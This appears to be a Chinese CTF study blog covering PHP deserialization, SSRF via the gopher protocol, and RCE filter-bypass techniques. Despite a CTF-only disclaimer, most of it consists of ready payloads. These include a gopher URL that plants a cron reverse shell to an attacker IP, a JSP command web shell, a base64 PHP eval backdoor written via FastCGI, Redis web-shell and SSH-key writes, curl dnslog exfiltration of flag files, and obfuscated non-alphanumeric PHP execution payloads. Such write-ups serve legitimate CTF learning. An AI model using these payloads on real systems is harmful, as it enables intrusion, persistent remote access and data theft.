worny's Security Lab

php反序列化

2026-07-02T14:00:00.000Z

安全声明：本文仅用于 CTF 学习与授权环境复现。
可直接运行的 PHP shell 示例已替换为。
对应十六进制 PHP payload 已替换为。
文中的危险脚本文件名发布时统一改为 output.txt，避免触发杀软或被误用为可执行脚本。

php反序列化

魔术方法

从序列化到反序列化这几个函数的执行过程是：
__construct() ->__sleep() -> __wakeup() -> __toString() -> __destruct()

绕过__wakeup()

当成员属性数目大于实际数目

反序列化过程中，会先调用wakeup()方法再进行unserilize()，但如果序列化字符串中表示对象属性个数的值大于真实的属性个数时，wakeup()的执行会被跳过
攻防世界的unserialize3

将设置属性值为2，可导致反序列化异常，如下所示。

1	O:4:"xctf":2:{s:4:"flag";s:3:"111";}

&=

把两个变量指向同一内存地址,这样当对其中一个变量进行操作时，另一个也会随之变化

在__destruct中，条件为：if(!isset($this->wakeup)||!$this->wakeup)。这个条件的意思是：如果$this->wakeup不存在，或者存在但为假（即False），则执行echo。

我们的目标是让程序输出”You get it!”。但是，当我们反序列化一个对象时，会先调用__wakeup方法（如果存在），然后当脚本结束时，会调用__destruct。

通过让 key 和 wakeup 指向同一个内存地址（引用），在 __wakeup 中设为 True，再在 __destruct 中通过修改 key 间接把 wakeup 改成 False，从而绕过检查，触发 “You get it!”

$a = new ctf();  
$a->key = &$a->wakeup;  
echo serialize($a);  
序列化数据:O:3:"ctf":2:{s:3:"key";N;s:6:"wakeup";R:2;}

fast destruct？

在反序列化攻击中，我们往往要利用某个类的 __destruct() 或 __wakeup() 等魔术方法来执行恶意代码。但默认情况下，反序列化完成后，对象会一直存活直到脚本结束，__destruct() 才会被调用。如果我们希望它在反序列化过程中立即执行（例如为了绕过某些检查，或者让恶意代码更早触发），就可以利用 fast destruct 技巧。

如何实现 fast destruct？

核心思路是 让 unserialize() 在解析过程中遇到语法错误，从而提前终止，并销毁已经部分构建的对象。有两种常用手法：

1. 修改序列化数组的元素个数

对于一个数组的序列化字符串，格式是：
a:{元素个数}:{内容}
例如一个包含两个元素的数组：
a:2:{i:0;O:7:"myclass":1:{s:1:"a";O:5:"Hello":1:{s:3:"qwb";s:5:"/flag";}}}
如果我们把元素个数改成 比实际多的数字，比如 a:3:{...}，那么 unserialize() 在解析时，会期望数组有 3 个元素，但实际只有 2 个。当它读完第 2 个元素后，发现字符串已经结束，就会报错（”unexpected end of string”），此时已经创建的两个对象（myclass 和 Hello）就会被立即销毁，触发它们的 __destruct()。

2. 去掉序列化字符串结尾的 `}`

每个序列化结构都有明确的结束符，比如数组的 }、对象的 }。如果故意去掉最后一个 }，例如：
a:1:{i:0;O:7:"myclass":1:{s:1:"a";O:5:"Hello":1:{s:3:"qwb";s:5:"/flag";}}
（注意末尾少了一个 }）
unserialize() 会一直解析直到字符串末尾，发现缺少预期的结束符，同样会报错，并销毁已创建的对象。

php issue#9618 （wakeup与destruct在不同类）

原理

声明的字段为保护字段，在所声明的类和该类的子类中可见，但在该类的对象实例中不可见。因此保护字段的字段名在序列化时，字段名前面会加上\0*\0的前缀。这里的\0 表示 ASCII 码为 0 的字符(不可见字符)，而不是 \0 组合。也就是说当实例化的类里存在私有属性时比如private时，序列化它时会出现字符长度那里会出现不可见字符

但事实上只有这种情况能够绕过wakeup，也就是destruct和wakeup在不同的类的时候，如果他们存在同一个类时输入直接serialize得到的payload是没有回显的

使用C绕过

分析
ArrayObject序列化后以C开头的特性，将恶意对象“打包”进ArrayObject，生成以C开头的序列化字符串，绕过正则检查（正则只拦O/a开头）。反序列化时，ArrayObject会“拆包”并触发内部恶意对象的__destruct，实现命令执行。

payload

原生类反序列化

C开头

ArrayObject::unserialize
ArrayIterator::unserialize
RecursiveArrayIterator::unserialize
SplDoublyLinkedList::unserialize
SplQueue::unserialize
SplStack::unserialize
SplObjectStorage::unserialize

绕MD5/SHA1 XSS

使用Error/Exception内置类这两个类使用方法一样的
例如


$a = new Error("");
$b = serialize($a);
echo urlencode($b);


$a=new Error("payload",1);$b=new Error("payload",2);
$c=new Exception("payload",3);$d=new Exception("payload",4);
echo $a."
";
echo $b."
";
echo $c."
";
echo $d;

这两个原生类返回的信息除了行号一模一样

发现可以绕过MD5和shal

遍历文件

DirectoryIterator 
FilesystemIterator 
GlobIterator

`DirectoryIterator` 基础用法

`glob://` 伪协议突破限制

读取文件

SplFileObject类


$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
    echo($f);
}

SplFileObject优势：
- 自动处理大文件（不会内存溢出）
- 内置行号跟踪（$file->key()可获取当前行号）

SSRF

SoapClient 类
该内置类有一个 __call 方法，当 __call 方法被触发后，它可以发送 HTTP 和 HTTPS 请求
示例

1	public SoapClient :: SoapClient(mixed $wsdl [，array $options ])

第一个参数是用来指明是否是 wsdl 模式，将该值设为 null 则表示非 wsdl 模式。

·第二个参数为一个数组，如果在 wsdl 模式下，此参数可选；如果在非 wsdl 模式下，则必须设置 location 和 uri 选项，其中 location 是要将请求发送到的 SOAP 服务器的 URL，而 uri 是 SOAP 服务的目标命名空间。


$a = new SoapClient(null,array('location'=>'http://47.xxx.xxx.72:2333/aaa', 'uri'=>'http://47.xxx.xxx.72:2333'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

location：是我们要攻击的目标服务器地址（即我们想让PHP服务器去访问的地址）。
uri：只是一个命名空间标识符，通常设置为与location相关或任意合法URI，但它不代表本机或目标服务器。它不会触发网络请求到该URI（除非SOAP消息被解析时有外部实体引用，但SoapClient在生成请求时不会因为uri而发起请求）。

phar反序列化

大体来说 Phar 结构由4部分组成

1.stub ：phar文件标识


Phar::mapPhar();
include 'phar://phar.phar/index.php';
__HALT_COMPILER();
?>

可以理解为一个标志，格式为xxx，前面内容不限，但必须以__HALT_COMPILER();?>来结尾，否则phar扩展将无法识别这个文件为phar文件。也就是说如果我们留下这个标志位，构造一个图片或者其他文件，那么可以绕过上传限制，并且被 phar 这函数识别利用。

2. a manifest describing the contents
phar文件本质上是一种压缩文件，其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data，这是上述攻击手法最核心的地方。

3. the file contents
被压缩文件的内容。

4. [optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾

前提：生成phar文件需要修改php.ini中的配置，将phar.readonly设置为Off

phar文件生成


class Testobj{
    var $output="";
}

@unlink('test.phar');    //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar');  //创建一个phar文件，文件名必须以phar为后缀
$phar->startBuffering();    //开始写文件
$phar->setStub('');   //写入stub头部信息
$o=new Testobj();

$phar->setMetadata($o);    //写入meta-data（序列化字段）
$phar->addFromString("test.txt","test");    //添加要压缩的文件
$phar->stopBuffering();
?>

PHP session反序列化

什么是session？其实就是服务器为了保存用户状态而创建的一个保存用户信息的特殊对象，是存储在服务端的，有session那肯定就有sessionid了，他是怎么来的？当我们浏览器第一次访问服务器时，服务器创建一个session对象并且该对象有一个唯一的id,叫做sessionId,服务器会将sessionid以cookie的方式发送给浏览器，当浏览器再次访问服务器时，会将sessionId发送过来，服务器依据sessionId就可以找到对应的session对象，在这创建session对象的时候服务端先进行序列化再存储到session文件里（session文件就是专门保存序列化后的对象的），相反服务器依据sessionId找到对应的session对象的过程就是通过提取session文件来反序列化生成对象的，就是在这过程中就有可能产生session反序列化漏洞了，前提条件使用不同的引擎来处理session文件

当session_start()被调用或者php.ini中session.auto_start为1时，

php内部调用会话管理器，访问用户session被序列化以后，存储到指定目录（默认为/tmp).

存取数据的格式有多种，常用的有三种

SSRF

2026-07-02T14:00:00.000Z

安全声明：本文仅用于 CTF 学习与授权环境复现。
可直接运行的 PHP shell 示例已替换为。
对应十六进制 PHP payload 已替换为。
文中的危险脚本文件名发布时统一改为 output.txt，避免触发杀软或被误用为可执行脚本。

SSRF

信息收集

获取主机名

1	file:///etc/hosts

http://172.250.250.3?id=1'%2520union%2520select%2520NULL,NULL,NULL,’‘%2520INTO%2520DUMPFILE%2520’/var/www/html/output.txt’–%2520

gopher协议

GET

post

四个必须的参数即POST、Host、Content-Type和Content-Length。如果少了会报错的，而GET则不用

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

key=21ef36770f67a6ddf8809c5f14ab557f

1.url路径编码
2.二次编码，同时将%0A全部替换为%0D%0A。因为 Gopher协议包含的请求数据包中，可能包含有=、&等特殊字符，避免与服务器解析传入的参数键值对混淆，所以对数据包进行 URL编码，这样服务端会把%后的字节当做普通字节
3.最终完整url

http://challenge-2cc48a18335efbf5.sandbox.ctfhub.com:10800/?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey%253D21ef36770f67a6ddf8809c5f14ab557f

gopher协议记得在目标ip地址即host后面加一个占位符，不然会被吞掉第一个字符，推荐使用_
{下划线}

SSRF之XXE

 

]> 
 
    &xxe; 
    admin

将其附加至正常抓包页面下同时删去 Accept-Encoding 这一行，再将整体进行双重url编码
接着构造gopher协议即可

SSRF之SQL注入

再将ip后两次url编码

SSRF之mysql

1
2
3

python2 gopherus.py --exploit mysql  #启动 Gopherus 工具
Give MySQL username: root
Give query to execute: select * from security.users #**执行的 SQL 语句**

结果

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%1d%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%73%65%63%75%72%69%74%79%2e%75%73%65%72%73%01%00%00%00%01

SSRF之tomcat

<%
    String command = request.getParameter("cmd");
    if(command != null)
    {
        java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("");
        while((a=in.read(b))!=-1)
        {
            out.println(new String(b));
        }
        out.print("
");
    } else {
        out.print("format: xxx.jsp?cmd=Command");
    }
%>

将其附加至你的抓包页面下，同时再将整体进行双重url编码
接着构造gopher协议即可

redis

未授权webshell写入

1.虚拟机kali中

cd ~/桌面/Gopherus
启动攻击模块：python2 gopherus.py –exploit redis
第一行输入攻击类型：PHPShell：生成一个 PHP WebShell 文件

                             ReverseShell：生成一个直接反弹 Shell 的 payload

第二行输入路径:这个路径决定了 Redis 写入的恶意文件最终存储在服务器的哪个位置，需根据目标服务器的 Web 目录结构或可利用路径填写，才能让后续的恶意文件被有效访问和执行
```
                          /var/www/html
```
第三行输入 WebShell 内容:$_GET[1]?>Gopherus 会自动将 dbfilename（Redis 持久化文件名）设置为 output.txt，配置完毕后Gopherus 工具会根据输入生成相应的 Gopher 协议有效载荷 2.再次编码后附加到url，显示此页面为504，没有关系，执行这段payload的目标就是在服务器根目录上传木马output.txt 3.列出目录 4.获取flag

*1
$7
COMMAND
*4
$6
CONFIG
$3
SET
$3
dir
$14
/var/www/html/
*4
$6
config
$3
set
$10
dbfilename
$8
info.php
*3
$3
set
$7
payload
$19

*1
$4
save

每行都是以 \r 结尾的，但是 Redis 的协议是以 CRLF (\r\n) 结尾，所以转换的时候需要把 \r 转换为 \r\n，然后其他全部进行两次 URL 编码

`redis未授权ssh公钥写入`

1.生成公钥

1	ssh-keygen -t rsa

2.构造，将密钥写入payload（记得前后各加两行换行以排除其他因素的干扰，同时长度记得加4）同时修改文件名和路径（要拥有root权限，不然写入不了）最后记得修改长度 3.通过ssrf提交后重新登陆靶机发现不在需要密码了

`定时任务反弹shell`

1	ip add #查看kali ip地址，我的是172.28.121.48

1.

1	python2 gopherus.py --exploit redis

启动攻击 2.选择Reverseshell 3.填写ip

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2468%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/172.28.121.48/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

接着监听端口

1 2	nc -lvp 1234

在靶场修改主机名发送即可

`FastCGL协议`

1.在虚拟机kali中打开终端

命令行下载：git clone https://github.com/tarunkant/Gopherus.git
cd ~/桌面/Gopherus
启动攻击模块：python2 gopherus.py –exploit fastcgi
第一行输入路径：启动 Gopherus 的 FastCGI 攻击模块后，工具会提示输入目标服务器上存在的 PHP 文件路径，输入之前获取的 PHP 文件路径，我们这里选中网站根目录下的index.php文件，路径如下为/var/www/html/index.php，这里通常选择网址中存在的文件
第二行输入要执行的命令：接下来工具提示输入要执行的命令，这是可以选择ls /或cat /flag等，工具会根据输入生成相应的 Gopher 协议有效载荷。我们这里选择使用在根目录上传木马文件ljn.php，如下 echo PD9waHAgQGV2YWwoJF9QT1NUWydtb295dWFuJ10pOz8+ | base64 -d >/var/www/html/ljn.php ————把编码后的一句话木马写到名为ljn.php的文件中
得到gopher:%2F%2F127.0.0.1:9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2503CONTENT_LENGTH137%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2517SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2589%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgQGV2YWwoJF9QT1NUWydtb295dWFuJ10pOz8%252B%2520%257C%2520base64%2520-d%2520%253E%2520%2Fvar%2Fwww%2Fhtml%2Fljn.php%2527%2529%253Bdie%2528%2527—–Made-by-SpyD3r—–%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500 2.在浏览器中将其附加在url后面 3.列出目录 4.获取flag



RCE
2026-07-02T14:00:00.000Z
安全声明：本文仅用于 CTF 学习与授权环境复现。
RCE
命令执行（执行系统命令）
函数 作用 是否直接把命令输出打印到页面？ 返回值是什么？
system() 执行系统命令 ✅ 会把命令执行过程的输出打印出来 返回命令输出的最后一行（字符串）
passthru() 执行命令并“原样”输出（适合二进制流） ✅ 直接输出所有原始内容 一般返回 null
exec() 执行命令 ❌ 默认不输出 返回最后一行文本，可选把每一行放到数组
shell_exec() 通过 shell 执行命令 ❌ 不直接输出 返回完整输出字符串
反引号 ... 和 shell_exec() 类似 ❌ 不直接输出 返回命令输出（字符串）
popen() 打开一个进程的管道（读 / 写） ❌ 本身不输出 返回资源句柄，自己读写
proc_open() 更高级的进程控制，多路管道 ❌ 本身不输出 返回进程资源，还可拿到各个管道句柄
总结：直接把结果“打印出来”的主要是 system() 和 passthru()，其它大部分都是“返回字符串/资源”，需要自己 echo / var_dump 才看得到。
直接回显的（命令执行时就打印到页面）：
system()、passthru()
只返回结果，不主动回显的：
exec()、shell_exec()、反引号、popen()、proc_open()（这些要你自己把结果 echo 出来）
1
2
3
4
string exec(string $command, array &$output = null, int &$return_var = null)
$command string 要执行的系统命令
&$output array（引用） 接收命令标准输出的每一行不含换行符，每次调用会追加内容；使用前需 `unset($output)` 或 `$output = []`
&$return_var int（引用） 接收命令退出状态码（0=成功）
1
2
3
popen(string $command, string $mode)
command 参数: 要执行的命令。
mode 参数: 模式。'r' 表示阅读，'w' 表示写入 fgets 获取内容，再 print_r 输出内容
绕过
过滤字符
1
2
3
4
5
6
7
8
9
10
11
（1）使用通配符绕过

形如：f???或者f*匹配flag文件

（2）使用单引号绕过fla''g

（3）使用\绕过fla\g

（4）使用{}绕过，如fl{a}g

（5）使用正则匹配绕过，如fl[a-a]g
过滤函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
cat
tac
more
head
tail
nl
strings
sort
less
awk
sed
grep
base64
rev
od
vi
vim
pr
uniq
过滤了/
绕过方法：
1.利用cd指令切目录
1
payload：cd ..&&ls，cd ..&&cd ..&&cd ..&&ls
2.通过dirname在当前目录一个个消除路径，直到最终到达根目录
1
payload=ls${IFS}-a${IFS}$(dirname${IFS}$(dirname${IFS}$(dirname${IFS}$PWD)))
过滤空格
1
使用< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等代替空格
变量拼接绕过正则
1
2
3
4
5
6
7
以flag为例:
 
x=ag;cat fl$x
 
相当于:
 
cat flag
Linux 变量操作符${}
1
2
3
${PATH:start:length}  
start：起始位置
length：截取长度，可为负数
 替换字符
 单替换
 
1
2
 ${file/a/b}
将字符串中第一个a替换为b

全替换
 1
2
 ${file//a/b}
将字符串所有的a替换为b

 执行命令
 1
2
3
 ${PATH:14:1}${PATH:5:1} flag.txt
 
在此环境中相当于 nl flag.txt
Ascll拼接变形
 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 

$func = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);

$cmd = '';

$cmd_chars = [108,115];

foreach($cmd_chars as $ascii) {

    $cmd .= chr($ascii);

}

@$func($cmd);

?>
转ascll脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15


$filename = "cat 6a2139364f96787c8ce1bbb0070b898c.php";

$ascii_array = [];

for ($i = 0; $i < strlen($filename); $i++) {

    $ascii_array[] = ord($filename[$i]);

}

echo implode(",", $ascii_array);

?>
按位取反（~） + 十六进制转义（\x）试一下
1
2
3
4
5
6
7


$func = create_function('', ~"\x8f\x97\x8f\x96\x91\x99\x93"['cmd']);

$func();

?>
无回显
if
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import time
url = "http://192.168.1.6:19080/class08/1.php"
result = ""
for i in range(1,5):
    for j in range(1,55):
    #ascii镶嵌
    for k in range(32,128):
    k=chr(k)
    #time.sleep(0.1)
    payload = "?cmd=" + f"if [ `cat flag.php | awk NR=={i} | cut -c {j} == {k} ] ;then sleep 2;fi" 
    try:
    requests.get(url=url+payload, timeout=(1.5,1.5))
    except:
    result = result + k
    print(result)
    break
result += ""
tee
[SWPUCTF 2021 新生赛]finalrce (NSSCTF)
 因为没有回显，所以需要把查看出来的内容读取并且写入一个地方来查看，tee命令就是从标准输入读取，再写入标准输出和文件。简单说就是把查看的内容读取然后写入到后面的txt文件
 >”\“-转义符我理解的作用就是在一些控制字符被过滤的时候，可以用转义符，让控制符失去原本的含义，变为字面量，但是作用不变。
 
/?url=l\s / |tee 1.txt,然后访问1.txt看到flag文件
/?url=tac /flllll\aaaaaaggggggg |tee 2.txt，访问2.txt就看到flag了
dnslog外带数据法
1
curl dnslog平台url/`cat flag.php|base64`
无字母数字RCE
取反
 [SWPUCTF 2021 新生赛]hardrce (NSSCTF)

不能使用字母和黑名单的特殊字符，但是有eval，满足条件即可执行
绕过方法：对需要使用的函数进行取反，然后再进行URL 编码
注意：在使用取反编码再取反进行绕过时，想要执行我们指定的代码，传入的payload必须要满足 (函数名)() 这样的形式，否则在取反之前PHP解释器并不知道是要执行一个函数，取反之后就算是一个函数也不会被当作代码执行
执行system(‘ls /‘)，取反?wllm=(%8C%86%8C%8B%9A%92)(%93%8C%DF%D0);找到flllllaaaaaaggggggg的文件
执行system(“cat /flllllaaaaaaggggggg”);取反后?wllm=(%8C%86%8C%8B%9A%92)(%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);即可得到flag
脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17


$a="system";

$b = "tac /f*";

echo urlencode(~$a);

print("\n");

echo urlencode(~$b);

print("\n");

print("(~".urlencode(~$a).")(~".urlencode(~$b).");");

?>
异或
1
2

echo 'A'^'?';
首先将 A 和 ? 分别转换为对应的ASCII码，A变为65，?变为63 然后将其转换为对应的二进制数，A变为1000001，?变为111111 接下来就进行运算，异或的运算规则是相同为0，不同为1
1
2
3
A:1000001
1:0111111(少一位，前面补0即可) 
结果：1111110
接下来将其二进制转换为对应十进制数，1111110对应的十进制数为126，根据ASCII码表可知126对应的是~
payload
1
2
3
4
5
6
$__=("#"^"|"); // _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST 
$$__[_]($$__[__]); // $_POST[_]($_POST[__]);
然后进行一次URL编码，因为中间件会解码一次
1
然后让&_=system和&__=ls即可
或者脚本直接出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import re

import requests

import urllib

from sys import *

import os

a=[]

ans1=""

ans2=""

for i in range(0,256): #设置i的范围

    c=chr(i)

    #将i转换成ascii对应的字符，并赋值给c

    tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c,re.I)

    #设置过滤条件，让变量c在其中找对应，并利用修饰符过滤大小写，这样可以得到未被过滤的字符

    if(tmp):

        continue

        #当执行正确时，那说明这些是被过滤掉的，所以才会被匹配到，此时我们让他继续执行即可

    else:

        a.append(i)

        #在数组中增加i，这些就是未被系统过滤掉的字符

# eval("echo($c);");

mya="system"  #函数名 这里修改！

myb="dir"      #参数

def myfun(k,my): #自定义函数

    global ans1 #引用全局变量ans1，使得在局部对其进行更改时不会报错

    global ans2 #引用全局变量ans2，使得在局部对其进行更改时不会报错

    for i in range (0,len(a)): #设置循环范围为（0，a）注：a为未被过滤的字符数量

        for j in range(i,len(a)): #在上个循环的条件下设置j的范围

            if(a[i]^a[j]==ord(my[k])):

                ans1+=chr(a[i]) #ans1=ans1+chr(a[i])

                ans2+=chr(a[j]) #ans2=ans2+chr(a[j])

                return;#返回循环语句中，重新寻找第二个k，这里的话就是寻找y对应的两个字符

for x in range(0,len(mya)): #设置k的范围

    myfun(x,mya)#引用自定义的函数

data1="('"+urllib.request.quote(ans1)+"'^'"+urllib.request.quote(ans2)+"')" #data1等于传入的命令,"+ans1+"是固定格式，这样可以得到变量对应的值，再用'包裹，这样是变量的固定格式，另一个也是如此，两个在进行URL编码后进行按位与运算，然后得到对应值

print(data1)

ans1=""#对ans1进行重新赋值

ans2=""#对ans2进行重新赋值

for k in range(0,len(myb)):#设置k的范围为(0,len(myb))

    myfun(k,myb)#再次引用自定义函数

data2="(\""+urllib.request.quote(ans1)+"\"^\""+urllib.request.quote(ans2)+"\")"

print(data2)
自增
直接拼接个空
1
2
3

$_=[].'';
var_dump($_);成功获取到了字符`Array`
然后我们获取想获取A的话，就可以采用$_[0]这种方式来获取，但我们是不能够写数字的，所以我们这里可以用一个判断,比如我们在[]里加一个==$，此时因为空和$不同，它就会输出0，此时也就等同于$_[0]，具体实现代码如下
1
2
3
4

$_=[];
$_=$_[''=='$'];
echo $_;
或者

构造$_GET[1]($_GET[0])，这个时候我们就可以system(ls)这种命令的执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

$_=[].'';//Array
$_=$_[''=='$'];//A
$_++;//B
$_++;//C
$_++;//D
$_++;//E
$__=$_;//E
$_++;//F
$_++;//G
$___=$_;//G
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//T
$_=$___.$__.$_;//GET
//var_dump($_);
$_='_'.$_;//_GET
var_dump($$_[_]($$_[__]));
//$_GET[_]($_GET[__])
接下来就可以尝试去给_和__GET传参，这里我们需要把换行的都去掉，然后进行一次URL编码，因为中间件会解码一次，所以我们构造的payload先变成这样
1
$_=[].'';$_=$_[''=='$'];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$___.$__.$_;$_='_'.$_;$$_[_]($$_[__]);
而后变成
1
%24_%3D%5B%5D.''%3B%24_%3D%24_%5B''%3D%3D'%24'%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D'_'.%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B
无参RCE
题目特征
1
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) { eval($_GET['star']); }
原理解释
它使用正则表达式 /[^\W]+\((?R)?\)/ 来匹配并替换掉 $_GET['star'] 中的某些部分
如果替换后的结果严格等于 ;，则执行 eval($_GET['star'])
这实际上是一个无参数RCE的场景，因为正则表达式限制了函数调用必须不包含参数
正则表达式解释：
[^\W]+：匹配一个或多个字母、数字或下划线（即函数名）
\( 和 \)：匹配左右括号
(?R)?：这是递归匹配，允许嵌套的函数调用，例如 a(b()) 这样的形式
整个正则表达式会匹配类似 function() 或 function(anotherFunction()) 这样的模式，但不允许 function('parameter') 这样的带参数的调用
所以，这个过滤机制允许的输入形式是：
function()
function(anotherFunction())
function1(function2(function3()))
而禁止的形式是：
function('text')
function(123)
function($variable)
无参数RCE的核心是：如何在不使用任何字面量参数（如字符串、数字）的情况下，通过函数之间的嵌套调用来构造攻击载荷，最终实现远程代码执行或文件读取。
相关函数简要介绍：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组，其中包含当前目录下的所有文件和目录名称（glob()可替换）
localeconv() ：返回一包含本地数字及货币格式信息的数组。（但是这里数组第一项就是‘.’，这个.的用处很大）
current() ：返回数组中的单元，默认取第一个值。pos()和current()是同一个东西
getcwd() :取得当前工作目录
dirname():函数返回路径中的目录部分
array_flip() :交换数组中的键和值，成功时返回交换后的数组
array_rand() :从数组中随机取出一个或多个单元

array_reverse():将数组内容反转

strrev():用于反转给定字符串

getcwd()：获取当前工作目录路径

dirname() ：函数返回路径中的目录部分。
chdir() ：函数改变当前的目录。

eval()、assert()：命令执行

hightlight_file()、show_source()、readfile()：读取文件内容

举个例子scandir('.')是返回当前目录,虽然我们无法传参，但是由于localeconv() 返回的数组第一个就是‘.’，current()取第一个值，那么current(localeconv())就能构造一个‘.’,那么以下就是一个简单的返回查看当前目录下文件的payload：

?参数=var_dump(scandir(current(localeconv())));

数组移动
1
2
3
4
5
end() ： 将内部指针指向数组中的最后一个元素，并输出
next() ：将内部指针指向数组中的下一个元素，并输出
prev() ：将内部指针指向数组中的上一个元素，并输出
reset() ： 将内部指针指向数组中的第一个元素，并输出
each() ： 返回当前元素的键名和键值，并将内部指针向前移动
scandir()文件读取函数
[GXYCTF 2019]禁止套娃
源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 1 
 2 include "flag.php";
 3 echo "flag在哪里呢？
";
 4 if(isset($_GET['exp'])){
 5     if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
 6         if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
 7             if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
 8                 // echo $_GET['exp'];
 9                 @eval($_GET['exp']);
10             }
11             else{
12                 die("还差一点哦！");
13             }
14         }
15         else{
16             die("再好好想想！");
17         }
18     }
19     else{
20         die("还想读flag，臭弟弟！");
21     }
22 }
23 // highlight_file(__FILE__);
24 ?>
1
print_r(scandir(current(localeconv())));
1
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
通过读取倒数第二个得到flag
或者
array_rand(): 从数组中取出一个或者多个单元，并且返回随机条目的一个或者多个键。
array_flip()：读取当前目录的键和值进行交换，如果失败返回 NULL。
array_flip()和array_rand()配合使用可随机返回当前目录下的文件名。因为其中的键可以利用随机数函数array_rand()，进行随机生成。
